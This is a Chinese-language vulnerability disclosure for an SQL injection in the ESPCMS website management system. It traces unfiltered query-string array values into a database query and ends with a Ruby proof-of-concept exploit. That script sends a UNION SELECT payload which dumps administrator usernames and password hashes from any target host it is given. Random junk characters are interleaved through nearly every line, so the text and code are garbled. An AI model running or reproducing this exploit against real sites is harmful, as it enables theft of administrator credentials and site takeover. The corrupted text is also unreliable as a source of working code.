0×0 漏洞概述0×1 漏洞细节
$ g! {1 ^$ l& p0 L7 M5 n, g0×2 PoC
% s# A: R8 Q% W
3 `- |; |. ` s/ M1 P. {9 O* c- J" M H
0 i% t6 s6 A1 R' o( W1 J" i0×0 漏洞概述
6 V& {/ G. d A/ F! i" b( O
. P9 N% T' p, g/ w; Q8 `易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
& v$ b5 Z% R6 ?其在处理传入的参数时考虑不严谨导致SQL注入发生* ]4 ]& X( F! o3 {2 L
1 J2 \6 |6 X5 ` N: O9 w
3 h6 _9 [* {6 @ B
0×1 漏洞细节% O$ k1 \% \2 W* x) m; q
- v, Y+ E3 R4 ]7 J4 \2 @- o) g
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
9 o& v6 d( b1 Y. i' j9 ?5 L正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。# T% ?$ j9 b4 c+ D W4 L
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
$ F7 g4 K2 @- b5 T& c/ B% u
/ _9 `8 l. X- r* a2 P在/interface/3gwap_search.php文件的in_result函数中:# R) t, g8 {+ ]
. p: D2 Z/ p! C7 f4 G
. N# n4 f, y+ K6 N/ K+ m+ a$ F% f2 k! R' u8 F+ b1 ]* }1 w: [
function in_result() {; A( h0 `5 e3 D @
... ... ... ... ... ... ... ... ...0 i# g* Q4 l/ Q
$urlcode = $_SERVER[ 'QUERY_STRING '];5 {. }6 z* U0 y+ y8 V0 P
parse_str(html_entity_decode($urlcode), $output);
- s1 S& ~( X2 `; J; n8 o. B) j, Q- h) t
... ... ... ... ... ... ... ... ...
& Q2 F4 o$ i" c4 u2 E" H( Q if (is_array($output['attr' ]) && count($output['attr']) > 0) {
2 m0 a, g3 B1 G; ^, }% A1 i5 _( k4 a1 j; W7 ~2 R
$db_table = db_prefix . 'model_att';' r# Q! i( v, ~. W
; J$ P8 G+ K3 p) ]% R foreach ($output['attr' ] as $key => $value) {5 Y# D6 q" f' ~: E. J' d
if ($value) {5 I* w3 |4 F6 l, M! T$ V$ s
: Z W9 B6 H# {1 _
$key = addslashes($key);8 h( p6 t1 `! d9 T3 j
$key = $this-> fun->inputcodetrim($key);- f, C* Y* G6 N6 ^( a
$db_att_where = " WHERE isclass=1 AND attrname='$key'";6 v+ u1 E5 S0 q$ \1 o. _
$countnum = $this->db_numrows($db_table, $db_att_where);
6 \) y; Z7 p6 R if ($countnum > 0) {$ Z* i) ?( d' U* Y! ~' ]
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;: j2 V) `4 F$ R+ r" S
}- D7 j: E0 a$ d5 l* z
}
0 d1 a( O7 p' g# i* ] }
# L. B1 u8 ?6 e3 o; u( |' O }
3 J2 z v X2 ~ M. y if (!empty ($keyword) && empty($keyname)) {% q* s6 [" ~ y2 M" S- p
$keyname = 'title';
7 ~) S6 z+ n. C w, } $db_where.= " AND a.title like '%$keyword%'" ;$ T* f9 d' e( ?& T- `
} elseif (!empty ($keyword) && !empty($keyname)) {
: n4 j- a) Q5 u) e! h" o $db_where.= " AND $keyname like '% $keyword%'";& F2 v8 X8 I4 ^$ a" j
}! c7 g/ |) c* c; Y' _8 Q6 N8 M' v
$pagemax = 15;4 `+ F7 q+ y' M9 P1 i
! w1 Y2 u# [) S- j/ B $pagesylte = 1;
: ?% X- q0 q4 ?! h# m8 r- z1 y& F" C# R. [
if ($countnum > 0) {
: _- o' E1 e' c: R, ?' H) g1 k
( |* A; @% P. ]3 k# O2 u! X9 q) q $numpage = ceil($countnum / $pagemax);& D" N6 M6 }8 r& }: ]9 q
} else {
" d; M6 d) l8 q" B' h- ? $numpage = 1;
( d, ?8 Y; z5 F1 ^6 _% D! [$ f }
: c8 h( y# t+ D( B $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
3 S( G. C2 n! L" B" c- l $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);, o7 ?1 O( x: w0 n% M* `
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);3 i4 U8 U% O4 |# a2 K6 V0 q
... ... ... ... ... ... ... ... ...1 ^; G1 Z( \0 ~2 v0 H
}3 p+ ?1 r% h2 _; }% F' Y
- p5 v: W: R' C. G- y4 k9 g- Z, u
8 o; [$ G6 `+ C; V; z. H0×2 PoC
+ j- R# G _# y# @0 p- f9 w" _4 Q% V. v8 j" I! a3 T/ x
8 {# W ^8 ~; P- @$ Q
5 o" | H. l& r* F) [7 Y- [
require "net/http"" L3 r9 x0 C0 m& w& _
& I4 {: ~4 r9 {4 h1 o/ x" L" [def request(method, url)
, q; M; P' T: c6 }6 O if method.eql?("get")
; d% f5 s* k% p' V( `0 o uri = URI.parse(url)
0 _: F- v& T* K( W' W( N9 O http = Net::HTTP.new(uri.host, uri.port)
w3 K7 d1 n# a5 i: F( I) I response = http.request(Net::HTTP::Get.new(uri.request_uri))% |, c8 d$ i5 R1 {# H5 C- k& d
return response
7 q' K1 [% u% Q1 r' f) q; h end: V' Y& a$ K: Z$ ]/ {9 ]! q
end
& b a6 |, s& a* b: Y
. p% M# [; ]- N+ {doc =<<HERE( ?6 Y' @& i0 T1 K6 J
-------------------------------------------------------
. ^/ t+ E( z( }6 t& {7 YEspcms Injection Exploit
' W1 }" u2 k# O( U4 @Author:ztz
4 O& o8 G5 S5 w; S) bBlog:http://ztz.fuzzexp.org/
t8 p2 F c8 S" p+ f$ L-------------------------------------------------------$ J4 N" F" W" l( k% ~ I1 d
: ?9 P& q+ U+ j7 ^HERE( p* A- j7 C! Z6 f0 G
% i5 R+ q& B" v2 H1 o
usage =<<HERE( ], m4 h4 D. S
Usage: ruby #{$0} host port path
3 |+ X7 p3 m j) s, u' n! m% qexample: ruby #{$0} www.target.com 80 /
5 K# ^1 d6 C- R" Q: u: y% dHERE+ z6 D% _2 W* {
+ E: c/ O; ?" c% A& M; {8 |puts doc
. k3 f" N) s5 R' Vif ARGV.length < 3
' m- i2 ^3 x4 \2 N! q' M& n puts usage9 y6 ]% H1 y0 P8 W
else
+ Z5 z, \* N3 f: J $host = ARGV[0]
0 y! ]" E4 ^" G $port = ARGV[1]
3 a6 x% L, F3 \: S8 ^ $path = ARGV[2]
" K( E# n; e, e
) J$ C7 `4 w# N9 T" _ puts "send request..."
' R9 \- `+ ~4 e# _ url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&' B- M4 L# k: p; C
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,137 ^) O' r# l" l6 _8 q
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
4 V/ v! B1 p9 `: {. e,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
8 R; w% y. Z8 `) E+ p response = request("get", url)8 C; F. j* C* K5 K) i
result = response.body.scan(/\w+&\w{32}/); m5 }0 H0 n4 Y. \0 k9 e0 A8 x
puts result
* h6 c: n( o1 I O3 r" |end. p7 ?0 U! n; V4 _ L3 t# F! I
5 `" V- j, S: T) D2 p# k |